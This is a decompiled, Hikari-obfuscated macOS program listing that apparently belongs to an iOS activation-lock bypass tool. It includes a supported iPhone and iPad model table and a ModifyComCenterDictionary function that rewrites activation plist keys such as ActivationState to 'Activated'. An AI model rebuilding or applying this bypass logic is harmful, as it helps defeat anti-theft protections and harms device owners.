strcpy(aY_5, "iPad Pro 9.7-inch (WiFi)");
strcpy(asc_10026C476, "iPhone6,2");
asc_1002710DB[0] = 105;
asc_1002710DB[1] = 80;
asc_1002710DB[2] = 97;
asc_1002710DB[3] = 100;
asc_1002710DB[4] = 54;
asc_1002710DB[5] = 44;
asc_1002710DB[6] = 55;
asc_1002710DB[7] = 0;
strcpy(asc_100271000, "iPad (5th gen, WiFi)");
strcpy(asc_10026C99F, "iPhone10,2");
strcpy(aFR, "iPhone10,3");
strcpy(aG_9, "iPad Pro 12.9-inch (2nd gen, WiFi)");
asc_100271141[0] = 105;
asc_100271141[1] = 80;
asc_100271141[2] = 97;
asc_100271141[3] = 100;
asc_100271141[4] = 54;
asc_100271141[5] = 44;
asc_100271141[6] = 51;
asc_100271141[7] = 0;
asc_1002713FF[0] = 105;
asc_1002713FF[1] = 80;
asc_1002713FF[2] = 97;
asc_1002713FF[3] = 100;
asc_1002713FF[4] = 55;
asc_1002713FF[5] = 44;
asc_1002713FF[6] = 50;
asc_1002713FF[7] = 0;
strcpy(asc_100270ED0, "Dispositivo no soportado");
strcpy(asc_1002710B0, "iPad Pro 12.9-inch (1st gen, WiFi)");
asc_100270FC2[0] = 105;
asc_100270FC2[1] = 80;
asc_100270FC2[2] = 97;
asc_100270FC2[3] = 100;
asc_100270FC2[4] = 55;
asc_100270FC2[5] = 44;
asc_100270FC2[6] = 51;
asc_100270FC2[7] = 0;
strcpy(asc_10026C37B, "iPhone10,1");
LOBYTE(v5) = -76;
LODWORD(a4) = v5;
asc_100270F6D[0] = 105;
asc_100270F6D[1] = 80;
asc_100270F6D[2] = 97;
asc_100270F6D[3] = 100;
asc_100270F6D[4] = 55;
asc_100270F6D[5] = 44;
asc_100270F6D[6] = 52;
asc_100270F6D[7] = 0;
*v32 = -2118341264;
}
else if ( v24 == 816440752 )
{
objc_release(v25);
v14 = 0;
v7 = 816440752;
v15 = -825735359;
goto LABEL_127;
}
}
else
{
if ( v24 == 324284556 )
{
v14 = 1;
v7 = 1109908914;
v15 = -527941071;
goto LABEL_127;
}
if ( v24 == 540131337 )
LABEL_91:
*v32 = 1165117099;
}
}
if ( v24 > 1372040039 )
break;
if ( v24 > 1109908913 )
{
switch ( v24 )
{
case 1109908914:
NSLog(CFSTR("\x15\xDA\xE9\x18\x15G\xF6\x7F\xA4\x34#\xC6\x10\xA7z)\x91\x80u\x87x\x83\x94\x8Ei"), a2, v4);
v6 = 1;
v7 = 1109908914;
v8 = -820409663;
goto LABEL_112;
case 1165117099:
v14 = 1;
v7 = 1395058802;
v15 = -762502067;
LABEL_127:
if ( !v14 )
v7 = v15;
LABEL_129:
LODWORD(a4) = (_DWORD)v32;
*v32 = v7;
break;
case 1167892616:
*v32 = 999488584;
break;
}
}
else
{
switch ( v24 )
{
case 999488584:
v14 = 1;
v23 = dword_10029F454;
v7 = 316297549;
v15 = 999488584;
goto LABEL_127;
case 1008676920:
v7 = -439591172;
goto LABEL_129;
case 1038089078:
a2 = (__int64)v25;
HikariFunctionWrapper_2783_0(CFSTR("\xEE\x13\x0C\xACw\xB1z^IF\xB1\xB1W\xB4cf\xE6\xB8\x10\x92#m\x03\n\x97aH\u0378R\v*\t"));
*v32 = -257818093;
break;
}
}
}
if ( v24 > 1697588765 )
break;
switch ( v24 )
{
case 1372040040:
v26 = v23 == 0;
*v32 = 2014656817;
break;
case 1395058802:
goto LABEL_90;
case 1440893383:
v6 = 1;
v7 = 771717881;
v8 = -2118341264;
goto LABEL_112;
}
}
if ( v24 > 2014656816 )
break;
if ( v24 == 1697588766 )
{
v6 = 0;
v7 = -1166925966;
v8 = -1447526858;
goto LABEL_112;
}
if ( v24 == 1761215894 )
{
v9 = 0;
v7 = 1038089078;
v10 = -257818093;
goto LABEL_122;
}
}
if ( v24 == 2014656817 )
{
v9 = !v26;
v7 = -2090647026;
v10 = -2050775021;
goto LABEL_122;
}
}
while ( v24 != 2144356073 );
return v29;
}
// 10008BED5: variable 'v4' is possibly undefined
// 100094DFC: variable 'a4' is possibly undefined
// 1002716F0: using guessed type __CFString stru_1002716F0;
// 100271730: using guessed type __CFString cfstr_2_0_0;
// 100271770: using guessed type __CFString cfstr_W_3;
// 1002717B0: using guessed type __CFString stru_1002717B0;
// 1002717F0: using guessed type __CFString cfstr_M_5_0;
// 100271830: using guessed type __CFString stru_100271830;
// 100271870: using guessed type __CFString stru_100271870;
// 1002718F0: using guessed type __CFString stru_1002718F0;
// 100271930: using guessed type __CFString stru_100271930;
// 100271970: using guessed type __CFString stru_100271970;
// 1002719B0: using guessed type __CFString stru_1002719B0;
// 1002719F0: using guessed type __CFString stru_1002719F0;
// 100271A30: using guessed type __CFString stru_100271A30;
// 100271A70: using guessed type __CFString cfstr_Y_5;
// 100271AB0: using guessed type __CFString stru_100271AB0;
// 100271AF0: using guessed type __CFString stru_100271AF0;
// 100271B30: using guessed type __CFString stru_100271B30;
// 100271B70: using guessed type __CFString cfstr_No7y_0;
// 100271BB0: using guessed type __CFString stru_100271BB0;
// 100271BF0: using guessed type __CFString stru_100271BF0;
// 100271C30: using guessed type __CFString cfstr_Cvne;
// 100271C70: using guessed type __CFString cfstr_O_3_0;
// 100271CB0: using guessed type __CFString stru_100271CB0;
// 100271CF0: using guessed type __CFString stru_100271CF0;
// 100271D30: using guessed type __CFString stru_100271D30;
// 100271D70: using guessed type __CFString stru_100271D70;
// 100271DB0: using guessed type __CFString cfstr_Wo_0;
// 100271DF0: using guessed type __CFString stru_100271DF0;
// 100271E30: using guessed type __CFString stru_100271E30;
// 100271E70: using guessed type __CFString stru_100271E70;
// 100271EB0: using guessed type __CFString stru_100271EB0;
// 100271EF0: using guessed type __CFString stru_100271EF0;
// 100271F30: using guessed type __CFString stru_100271F30;
// 100271F70: using guessed type __CFString cfstr_P0xnt_0;
// 100271FB0: using guessed type __CFString stru_100271FB0;
// 100271FF0: using guessed type __CFString cfstr_Sm;
// 100272030: using guessed type __CFString cfstr_D_3_0;
// 100272070: using guessed type __CFString stru_100272070;
// 1002720B0: using guessed type __CFString cfstr_WMe;
// 1002720F0: using guessed type __CFString stru_1002720F0;
// 100272130: using guessed type __CFString stru_100272130;
// 100272170: using guessed type __CFString stru_100272170;
// 1002721B0: using guessed type __CFString stru_1002721B0;
// 1002721F0: using guessed type __CFString stru_1002721F0;
// 100272230: using guessed type __CFString cfstr_FR_0;
// 100272270: using guessed type __CFString stru_100272270;
// 1002722B0: using guessed type __CFString stru_1002722B0;
// 1002722F0: using guessed type __CFString stru_1002722F0;
// 100272330: using guessed type __CFString cfstr_Q_2_0;
// 100272370: using guessed type __CFString stru_100272370;
// 1002723B0: using guessed type __CFString stru_1002723B0;
// 1002723F0: using guessed type __CFString stru_1002723F0;
// 100272430: using guessed type __CFString cfstr_G_9;
// 100272470: using guessed type __CFString cfstr_C_4_0;
// 1002724B0: using guessed type __CFString stru_1002724B0;
// 1002724F0: using guessed type __CFString cfstr_E_11;
// 100272530: using guessed type __CFString stru_100272530;
// 100272570: using guessed type __CFString cfstr_S_4_0;
// 1002725B0: using guessed type __CFString stru_1002725B0;
// 1002725F0: using guessed type __CFString cfstr_K2_0;
// 100272630: using guessed type __CFString stru_100272630;
// 100272670: using guessed type __CFString stru_100272670;
// 1002726B0: using guessed type __CFString cfstr_M_4_0;
// 1002726F0: using guessed type __CFString stru_1002726F0;
// 100272730: using guessed type __CFString stru_100272730;
// 100272770: using guessed type __CFString cfstr_S_2_0;
// 1002727B0: using guessed type __CFString stru_1002727B0;
// 1002727F0: using guessed type __CFString cfstr_Mg4e_0;
// 100272830: using guessed type __CFString cfstr_O_4_0;
// 100272870: using guessed type __CFString cfstr_N_9_0;
// 1002728B0: using guessed type __CFString stru_1002728B0;
// 10029F454: using guessed type int dword_10029F454;
//----- (0000000100095B52) ----------------------------------------------------
id __fastcall ModifyComCenterDictionary(id a1, id a2)
{
id *v2; // r15
id *v3; // r12
id v4; // rax
id v5; // r13
id v6; // rbx
id v7; // r13
id v8; // rax
id v9; // r15
id v11; // [rsp+0h] [rbp-40h] BYREF
id v12; // [rsp+8h] [rbp-38h]
__int64 v13; // [rsp+10h] [rbp-30h]
v13 = -1;
if ( !dword_10029F458 )
{
strcpy(aO_6, "https://albert.apple.com/deviceservices/activity");
strcpy(aV_7, "Activated");
strcpy(aG_10, "https://albert.apple.com/deviceservices/phoneHome");
strcpy(asc_100272990, "ActivityURL");
strcpy(asc_100272B30, "kPostponementTicket");
strcpy(asc_100272950, "An exception occurred while modifying the plist: %@");
strcpy(asc_100272A76, "ActivationState");
strcpy(aJc, "ActivationTicket");
strcpy(asc_1002728F0, "PhoneNumberNotificationURL");
}
dword_10029F458 = 1;
v2 = &v11 - 4;
v3 = &v11 - 4;
objc_retain(a1);
objc_retain(a2);
v12 = a1;
v11 = a2;
v4 = objc_msgSend(
a1,
"objectForKeyedSubscript:",
CFSTR("\xA0\xDD\x05\xD2\x6B\xC4\x1E\x02_\x1CL|\xE5\x8A\xDF*\xB4+dK"));
v5 = objc_retainAutoreleasedReturnValue(v4);
objc_release(v5);
v6 = v11;
if ( v5 )
objc_msgSend(
v12,
"removeObjectForKey:",
CFSTR("\xA0\xDD\x05\xD2\x6B\xC4\x1E\x02_\x1CL|\xE5\x8A\xDF*\xB4+dK"),
2022294457,
251793536,
1895097918);
*v3 = CFSTR("\x84\x994}|p\xAE\xBB1j\xBA\x14\x15");
*v2 = CFSTR("v\xB6\xF3\xC5\x88\x89تW\xA5");
v3[1] = CFSTR("jC\xC7\x33s\xAFc\x9F`]\xC2\x1B\xDA\xE7a\xD3\xF1");
v2[1] = v6;
v7 = v12;
v3[2] = CFSTR("\xD3\x19\xE3\xAE\x56\xBA\xDE\xC28\xB7P\xFC");
v2[2] = CFSTR("O\xF1\x62\xDD\xED̥\xB9I\xAE\x7F\xAEk\xE6\xDF\xC5D\v\xBB\xEF\xE1\x27\xCA\x2B8\xD8\x10ѡp\x95RK\xFBz\xBD`\xB1\xEC\x3B\xEF!^\x8A\xC2\xE8x**");
v3[3] = CFSTR("\xBD)'\v\xFBsv\x1A\xDA\xD9\\\xCC\x36\x01\xF0\xAB\x04\xE6\xCA\x49\x02\xD5\x7B\x1EϘ");
v2[3] = CFSTR("g?\"\xD4\x1BzX\xEB\xFB\x756\xF8\xF6\xA3\x6A\x1E\xA8\x88\xA1}\x87\x88\xB8\xB0\x95\x12\xE3\xE5\x2A\x01\x13KqWp\xD9\x02\xAE\xABk\x93\xE4\x12\x8BZ\xFF\x8BucK");
v8 = HikariFunctionWrapper_2785_0(&OBJC_CLASS___NSDictionary, "dictionaryWithObjects:forKeys:count:");
v9 = objc_retainAutoreleasedReturnValue(v8);
HikariFunctionWrapper_2787_0(v7, "setObject:forKeyedSubscript:");
objc_retain(v7);
objc_release(v9);
objc_release(v11);
objc_release(v7);
objc_autoreleaseReturnValue(v7);
return v7;
}
// 100272BB0: using guessed type __CFString cfstr_G_10;
// 100272BF0: using guessed type __CFString cfstr_O_6;
// 100272C30: using guessed type __CFString stru_100272C30;
// 100272C70: using guessed type __CFString stru_100272C70;
// 100272CB0: using guessed type __CFString cfstr_Jc;
// 100272CF0: using guessed type __CFString stru_100272CF0;
// 100272D30: using guessed type __CFString cfstr_V_7;
// 100272D70: using guessed type __CFString stru_100272D70;
// 10029F458: using guessed type int dword_10029F458;
//----- (000000010009883A) ----------------------------------------------------
id __fastcall ucid_to_ecid(void *a1)
{
bool v1; // zf
int v2; // eax
int v3; // ecx
char v4; // cf
int v5; // ecx
int v6; // eax
id v7; // rax
int v8; // eax
char v9; // cf
int v10; // ecx
id v11; // rax
id v12; // rax
id v13; // r12
id v14; // rax
NSString *v15; // rax
id v16; // rax
unsigned __int64 v18; // [rsp+8h] [rbp-98h]
const char *v19; // [rsp+18h] [rbp-88h]
const char *v20; // [rsp+20h] [rbp-80h]
id v21; // [rsp+28h] [rbp-78h]
void *v22; // [rsp+30h] [rbp-70h]
void *v23; // [rsp+38h] [rbp-68h]
int v24; // [rsp+48h] [rbp-58h]
int v25; // [rsp+4Ch] [rbp-54h] BYREF
id v26; // [rsp+50h] [rbp-50h]
id v27; // [rsp+58h] [rbp-48h]
id v28; // [rsp+60h] [rbp-40h]
bool v29; // [rsp+6Ch] [rbp-34h]
char v30; // [rsp+6Dh] [rbp-33h]
bool v31; // [rsp+6Eh] [rbp-32h]
char v32; // [rsp+6Fh] [rbp-31h]
int *v33; // [rsp+70h] [rbp-30h]
v25 = 2015868032;
v33 = &v25;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v25 <= 713354259 )
{
if ( v25 > -296631064 )
{
if ( v25 > 44375435 )
{
if ( v25 > 229658497 )
{
if ( v25 == 229658498 )
{
objc_msgSend(v26, "length");
*v33 = 1717724844;
}
else if ( v25 == 646661827 )
{
*v33 = -82492131;
}
}
else if ( v25 == 44375436 )
{
*v33 = 761616173;
}
else if ( v25 == 171100958 )
{
v29 = v24 == 0;
v4 = 1;
v2 = 1779529675;
v5 = -476408209;
goto LABEL_75;
}
}
else if ( v25 > -82492132 )
{
if ( v25 == -82492131 )
{
v9 = 1;
v2 = -476408209;
v10 = 171100958;
goto LABEL_89;
}
if ( v25 == -38063063 )
{
v9 = 1;
v2 = 229658498;
v10 = 1717724844;
goto LABEL_89;
}
}
else if ( v25 == -296631063 )
{
v12 = objc_msgSend(&OBJC_CLASS___NSString, v19, CFSTR("@.\xC2\x2F"), v28);
v13 = objc_retainAutoreleasedReturnValue(v12);
objc_release(v28);
objc_msgSend(v13, v20);
*v33 = 1166634001;
}
else if ( v25 == -242406638 )
{
objc_autoreleaseReturnValue(v27);
v1 = 0;
v2 = 2072864061;
v3 = 2011122297;
goto LABEL_52;
}
}
else if ( v25 > -1789607165 )
{
if ( v25 > -476408210 )
{
if ( v25 == -476408209 )
{
*v33 = 171100958;
}
else if ( v25 == -470046307 )
{
*v33 = -1995962899;
}
}
else if ( v25 == -1789607164 )
{
asc_100272D9C[1] = v32 ^ 0xF8;
asc_100272D9C[2] = 88;
*v33 = 713354260;
}
else if ( v25 == -864854938 )
{
v1 = 0;
v2 = -1789607164;
v3 = 713354260;
goto LABEL_52;
}
}
else if ( v25 > -1891814003 )
{
if ( v25 == -1891814002 )
{
v28 = v22;
v9 = 1;
v2 = -296631063;
v10 = 1166634001;
goto LABEL_89;
}
if ( v25 == -1802991849 )
{
v1 = !v29;
v2 = 1395706711;
v3 = 2006457725;
LABEL_52:
if ( !v1 )
v2 = v3;
goto LABEL_91;
}
}
else
{
if ( v25 == -1995962899 )
{
v4 = 0;
v24 = dword_10029F45C;
v2 = -470046307;
v5 = 646661827;
LABEL_75:
if ( !v4 )
v2 = v5;
goto LABEL_91;
}
if ( v25 == -1915917329 )
*v33 = 2114693228;
}
}
if ( v25 > 1894202887 )
break;
if ( v25 > 1395706710 )
{
if ( v25 > 1717724843 )
{
if ( v25 == 1717724844 )
{
v20 = "length";
v16 = HikariFunctionWrapper_2795_0(v26, "length");
v9 = 1;
v18 = (unsigned __int64)v16;
v2 = 1717724844;
v10 = 1905923910;
LABEL_89:
if ( v9 )
v2 = v10;
LABEL_91:
*v33 = v2;
}
else if ( v25 == 1779529675 )
{
*v33 = 986375581;
}
}
else if ( v25 == 1395706711 )
{
dword_10029F45C = 1;
v14 = objc_msgSend(a1, "integerValue");
v19 = "stringWithFormat:";
v15 = +[NSString stringWithFormat:](
&OBJC_CLASS___NSString,
"stringWithFormat:",
CFSTR("\xE9\xEF\xE1\x9C"),
v14);
v26 = objc_retainAutoreleasedReturnValue(v15);
*v33 = -38063063;
}
else if ( v25 == 1489082276 )
{
v6 = 1894202888;
if ( v31 )
v6 = -1891814002;
*v33 = v6;
v7 = v21;
goto LABEL_48;
}
}
else if ( v25 > 986375580 )
{
if ( v25 == 986375581 )
{
v9 = 1;
v2 = -1915917329;
v10 = 2114693228;
goto LABEL_89;
}
if ( v25 == 1166634001 )
{
v11 = HikariFunctionWrapper_2797_0(&OBJC_CLASS___NSString, v19);
v21 = objc_retainAutoreleasedReturnValue(v11);
objc_release(v28);
v31 = (unsigned __int64)HikariFunctionWrapper_2799_0(v21, v20) < 0x10;
v9 = 0;
v2 = 1489082276;
v10 = -296631063;
goto LABEL_89;
}
}
else
{
if ( v25 == 713354260 )
{
asc_100272D9C[1] = v32 - 2 * (v32 & 0x78) - 8;
asc_100272D9C[2] = 88;
v30 = 86;
v2 = 44375436;
goto LABEL_91;
}
if ( v25 == 761616173 )
{
asc_100272D9C[3] = v30 ^ 0x56;
asc_100272D94[0] = 48;
asc_100272D94[1] = 37;
asc_100272D94[2] = 64;
asc_100272D94[3] = 0;
*v33 = 1395706711;
}
}
}
if ( v25 > 2011122296 )
break;
if ( v25 > 2006457724 )
{
if ( v25 == 2006457725 )
{
asc_100272D9C[0] = 37;
v32 = -108;
*v33 = -864854938;
}
else if ( v25 == 2006692311 )
{
v8 = 1894202888;
if ( v18 < 0x10 )
v8 = -1891814002;
*v33 = v8;
v7 = v26;
LABEL_48:
v22 = v7;
v23 = v7;
}
}
else
{
if ( v25 == 1894202888 )
{
v27 = v23;
v4 = 1;
v2 = -242406638;
v5 = 2072864061;
goto LABEL_75;
}
if ( v25 == 1905923910 )
*v33 = 2006692311;
}
}
if ( v25 <= 2072864060 )
break;
if ( v25 == 2072864061 )
{
objc_autoreleaseReturnValue(v27);
*v33 = -242406638;
}
else if ( v25 == 2114693228 )
{
*v33 = -1802991849;
}
}
if ( v25 == 2015868032 )
{
v4 = 1;
v2 = -1995962899;
v5 = -470046307;
goto LABEL_75;
}
}
while ( v25 != 2011122297 );
return v27;
}
// 100098AE1: variable 'v24' is possibly undefined
// 100098B2C: variable 'v21' is possibly undefined
// 100098B85: variable 'v18' is possibly undefined
// 100098CA5: variable 'v19' is possibly undefined
// 100098CC8: variable 'v20' is possibly undefined
// 100098D35: variable 'v23' is possibly undefined
// 100098E6E: variable 'v22' is possibly undefined
// 100272DC0: using guessed type __CFString stru_100272DC0;
// 100272E00: using guessed type __CFString stru_100272E00;
// 10029F45C: using guessed type int dword_10029F45C;
//----- (0000000100099120) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_8(void *a1, void *a2)
{
return checkInit(a1, a2);
}
//----- (0000000100099130) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2743_0(void *a1, void *a2)
{
return HikariFunctionWrapper_8(a1, a2);
}
//----- (0000000100099140) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2744_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100099150) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2745_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_2744_0(a1, a2);
}
//----- (0000000100099160) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2746_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100099170) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2747_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_2746_0(a1, a2);
}
//----- (0000000100099180) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2748_0(void *a1, void *a2)
{
return checkInit(a1, a2);
}
//----- (0000000100099190) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2749_0(void *a1, void *a2)
{
return HikariFunctionWrapper_2748_0(a1, a2);
}
//----- (00000001000991A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2750_0(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000991B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2751_0(void *a1, const char *a2)
{
HikariFunctionWrapper_2750_0(a1, a2);
}
//----- (00000001000991C0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2752_0(const void *a1, int a2)
{
_Block_object_dispose(a1, a2);
}
//----- (00000001000991D0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2753_0(const void *a1, int a2)
{
HikariFunctionWrapper_2752_0(a1, a2);
}
//----- (00000001000991E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2754_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000991F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2755_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_2754_0(a1, a2);
}
//----- (0000000100099200) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2756_0(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (0000000100099210) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2757_0(void *a1, const char *a2)
{
HikariFunctionWrapper_2756_0(a1, a2);
}
//----- (0000000100099220) ----------------------------------------------------
dispatch_semaphore_t __fastcall HikariFunctionWrapper_2758_0(intptr_t a1)
{
return dispatch_semaphore_create(a1);
}
//----- (0000000100099230) ----------------------------------------------------
dispatch_semaphore_t __fastcall HikariFunctionWrapper_2759_0(intptr_t a1)
{
return HikariFunctionWrapper_2758_0(a1);
}
//----- (0000000100099240) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2760_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100099250) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2761_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_2760_0(a1, a2);
}
//----- (0000000100099260) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2762_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100099270) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2763_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_2762_0(a1, a2);
}
//----- (0000000100099280) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2764_0(NSString *a1)
{
NSLog(a1);
}
//----- (0000000100099290) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2765_0(NSString *a1)
{
HikariFunctionWrapper_2764_0(a1);
}
//----- (00000001000992A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2766_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000992B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2767_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_2766_0(a1, a2);
}
//----- (00000001000992C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2768_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000992D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2769_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_2768_0(a1, a2);
}
//----- (00000001000992E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2770_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000992F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2771_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_2770_0(a1, a2);
}
//----- (0000000100099300) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2772_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100099310) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2773_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_2772_0(a1, a2);
}
//----- (0000000100099320) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2774_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100099330) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2775_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_2774_0(a1, a2);
}
//----- (0000000100099340) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2776_0(const void *a1, int a2)
{
_Block_object_dispose(a1, a2);
}
//----- (0000000100099350) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2777_0(const void *a1, int a2)
{
HikariFunctionWrapper_2776_0(a1, a2);
}
//----- (0000000100099360) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2778_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100099370) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2779_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_2778_0(a1, a2);
}
//----- (0000000100099380) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2780_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100099390) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2781_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_2780_0(a1, a2);
}
//----- (00000001000993A0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2782_0(NSString *a1)
{
NSLog(a1);
}
//----- (00000001000993B0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2783_0(NSString *a1)
{
HikariFunctionWrapper_2782_0(a1);
}
//----- (00000001000993C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2784_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000993D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2785_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_2784_0(a1, a2);
}
//----- (00000001000993E0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2786_0(void *a1, const char *a2)
{
objc_msgSend(a1, a2);
}
//----- (00000001000993F0) ----------------------------------------------------
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2787_0(void *a1, const char *a2)
{
HikariFunctionWrapper_2786_0(a1, a2);
}
//----- (0000000100099400) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2788_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100099410) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2789_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_2788_0(a1, a2);
}
//----- (0000000100099420) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2790_0()
{
objc_end_catch();
}
//----- (0000000100099430) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2791_0()
{
HikariFunctionWrapper_2790_0();
}
//----- (0000000100099440) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2792_0(void *a1)
{
return objc_begin_catch(a1);
}
//----- (0000000100099450) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2793_0(void *a1)
{
return HikariFunctionWrapper_2792_0(a1);
}
//----- (0000000100099460) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2794_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100099470) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2795_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_2794_0(a1, a2);
}
//----- (0000000100099480) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2796_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100099490) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2797_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_2796_0(a1, a2);
}
//----- (00000001000994A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2798_0(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000994B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2799_0(void *a1, const char *a2)
{
return HikariFunctionWrapper_2798_0(a1, a2);
}
//----- (00000001000994B8) ----------------------------------------------------
int __fastcall main(int argc, const char **argv, const char **envp)
{
void *v3; // rax
int v4; // eax
void *v5; // rax
int v7; // [rsp+8h] [rbp-38h]
int v8; // [rsp+Ch] [rbp-34h] BYREF
int *v9; // [rsp+10h] [rbp-30h]
v8 = -2100122085;
v9 = &v8;
do
{
while ( 1 )
{
while ( 1 )
{
while ( v8 > -509196672 )
{
if ( v8 > 220978550 )
{
if ( v8 == 220978551 )
{
*v9 = -1658940525;
}
else if ( v8 == 1626923085 )
{
v7 = NSApplicationMain(argc, argv);
*v9 = -185327217;
}
}
else if ( v8 == -509196671 )
{
v5 = objc_autoreleasePoolPush();
objc_autoreleasePoolPop(v5);
*v9 = -1019388033;
}
else if ( v8 == -185327217 )
{
v4 = -1658940525;
goto LABEL_18;
}
}
if ( v8 > -1658940526 )
break;
if ( v8 == -2100122085 )
{
v4 = -1019388033;
LABEL_18:
*v9 = v4;
}
else if ( v8 == -2085782752 )
{
*v9 = 1626923085;
}
}
if ( v8 != -1658940525 )
break;
*v9 = -1657999244;
}
if ( v8 == -1019388033 )
{
v3 = objc_autoreleasePoolPush();
objc_autoreleasePoolPop(v3);
v4 = -2085782752;
goto LABEL_18;
}
}
while ( v8 != -1657999244 );
return v7;
}
